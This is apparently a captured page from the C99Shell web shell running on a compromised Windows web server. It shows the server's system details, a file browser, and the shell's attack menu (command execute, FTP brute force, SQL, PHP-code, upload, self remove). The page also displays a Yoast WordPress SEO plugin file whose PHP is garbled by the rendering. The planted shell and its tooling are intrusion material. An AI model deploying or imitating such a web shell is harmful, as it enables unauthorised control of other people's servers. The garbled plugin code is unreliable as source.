!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\cumbreclima\wp-content\plugins\wordpress-seo\admin\pages\   drwxrwxrwx
Free 4.13 GB of 39.52 GB (10.44%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     network.php (5.18 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package WPSEO\Admin
 */

if ( ! defined'WPSEO_VERSION' ) ) {
    
header'Status: 403 Forbidden' );
    
header'HTTP/1.1 403 Forbidden' );
    exit();
}

$yform Yoast_Form::get_instance();

$options get_site_option'wpseo_ms' );

if ( isset( 
$_POST['wpseo_submit'] ) ) {
    
check_admin_referer'wpseo-network-settings' );

    foreach ( array( 
'access''defaultblog' ) as $opt ) {
        
$options$opt ] = $_POST['wpseo_ms'][ $opt ];
    }
    unset( 
$opt );
    
WPSEO_Options::update_site_option'wpseo_ms'$options );
    
add_settings_error'wpseo_ms''settings_updated'__'Settings Updated.''wordpress-seo' ), 'updated' );
}

if ( isset( 
$_POST['wpseo_restore_blog'] ) ) {
    
check_admin_referer'wpseo-network-restore' );
    if ( isset( 
$_POST['wpseo_ms']['restoreblog'] ) && is_numeric$_POST['wpseo_ms']['restoreblog'] ) ) {
        
$restoreblog = (int) WPSEO_Utils::validate_int$_POST['wpseo_ms']['restoreblog'] );
        
$blog        get_blog_details$restoreblog );

        if ( 
$blog ) {
            
WPSEO_Options::reset_ms_blog$restoreblog );
            
add_settings_error'wpseo_ms''settings_updated'sprintf__'%s restored to default SEO settings.''wordpress-seo' ), esc_html$blog->blogname ) ), 'updated' );
        }
        else {
            
add_settings_error'wpseo_ms''settings_updated'sprintf__'Blog %s not found.''wordpress-seo' ), esc_html$restoreblog ) ), 'error' );
        }
        unset( 
$restoreblog$blog );
    }
}

/* Set up selectbox dropdowns for smaller networks (usability) */
$use_dropdown true;
if ( 
get_blog_count() > 100 ) {
    
$use_dropdown false;
}
else {
    
$sites wp_get_sites( array( 'deleted' => ) );
    if ( 
is_array$sites ) && $sites !== array() ) {
        
$dropdown_input = array(
            
'-' => __'None''wordpress-seo' ),
        );

        foreach ( 
$sites as $site ) {
            
$dropdown_input$site['blog_id'] ] = $site['blog_id'] . ': ' $site['domain'];

            
$blog_states = array();
            if ( 
$site['public'] === '1' ) {
                
$blog_states[] = __'public''wordpress-seo' );
            }
            if ( 
$site['archived'] === '1' ) {
                
$blog_states[] = __'archived''wordpress-seo' );
            }
            if ( 
$site['mature'] === '1' ) {
                
$blog_states[] = __'mature''wordpress-seo' );
            }
            if ( 
$site['spam'] === '1' ) {
                
$blog_states[] = __'spam''wordpress-seo' );
            }
            if ( 
$blog_states !== array() ) {
                
$dropdown_input$site['blog_id'] ] .= ' [' implode', '$blog_states ) . ']';
            }
        }
        unset( 
$site$blog_states );
    }
    else {
        
$use_dropdown false;
    }
    unset( 
$sites );
}

$yform->admin_headerfalse'wpseo_ms' );

echo 
'<h2>'__'MultiSite Settings''wordpress-seo' ), '</h2>';
echo 
'<form method="post" accept-charset="'esc_attrget_bloginfo'charset' ) ), '">';
wp_nonce_field'wpseo-network-settings''_wpnonce'truetrue );

/* @internal Important: Make sure the options added to the array here are in line with the options set in the WPSEO_Option_MS::$allowed_access_options property */
$yform->select(
    
'access',
    
__'Who should have access to the WordPress SEO settings''wordpress-seo' ),
    array(
        
'admin'      => __'Site Admins (default)''wordpress-seo' ),
        
'superadmin' => __'Super Admins only''wordpress-seo' ),
    ),
    
'wpseo_ms'
);

if ( 
$use_dropdown === true ) {
    
$yform->select(
        
'defaultblog',
        
__'New sites in the network inherit their SEO settings from this site''wordpress-seo' ),
        
$dropdown_input,
        
'wpseo_ms'
    
);
    echo 
'<p>' __'Choose the site whose settings you want to use as default for all sites that are added to your network. If you choose \'None\', the normal plugin defaults will be used.''wordpress-seo' ) . '</p>';
}
else {
    
$yform->textinput'defaultblog'__'New sites in the network inherit their SEO settings from this site''wordpress-seo' ), 'wpseo_ms' );
    echo 
'<p>' sprintf__'Enter the %sSite ID%s for the site whose settings you want to use as default for all sites that are added to your network. Leave empty for none (i.e. the normal plugin defaults will be used).''wordpress-seo' ), '<a href="' esc_urlnetwork_admin_url'sites.php' ) ) . '">''</a>' ) . '</p>';
}
    echo 
'<p><strong>' __'Take note:''wordpress-seo' ) . '</strong> ' __'Privacy sensitive (FB admins and such), theme specific (title rewrite) and a few very site specific settings will not be imported to new blogs.''wordpress-seo' ) . '</p>';


echo 
'<input type="submit" name="wpseo_submit" class="button-primary" value="' __'Save MultiSite Settings''wordpress-seo' ) . '"/>';
echo 
'</form>';

echo 
'<h2>' __'Restore site to default settings''wordpress-seo' ) . '</h2>';
echo 
'<form method="post" accept-charset="' esc_attrget_bloginfo'charset' ) ) . '">';
wp_nonce_field'wpseo-network-restore''_wpnonce'truetrue );
echo 
'<p>' __'Using this form you can reset a site to the default SEO settings.''wordpress-seo' ) . '</p>';

if ( 
$use_dropdown === true ) {
    unset( 
$dropdown_input['-'] );
    
$yform->select(
        
'restoreblog',
        
__'Site ID''wordpress-seo' ),
        
$dropdown_input,
        
'wpseo_ms'
    
);
}
else {
    
$yform->textinput'restoreblog'__'Blog ID''wordpress-seo' ), 'wpseo_ms' );
}

echo 
'<input type="submit" name="wpseo_restore_blog" value="' __'Restore site to defaults''wordpress-seo' ) . '" class="button"/>';
echo 
'</form>';


$yform->admin_footerfalse );

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]--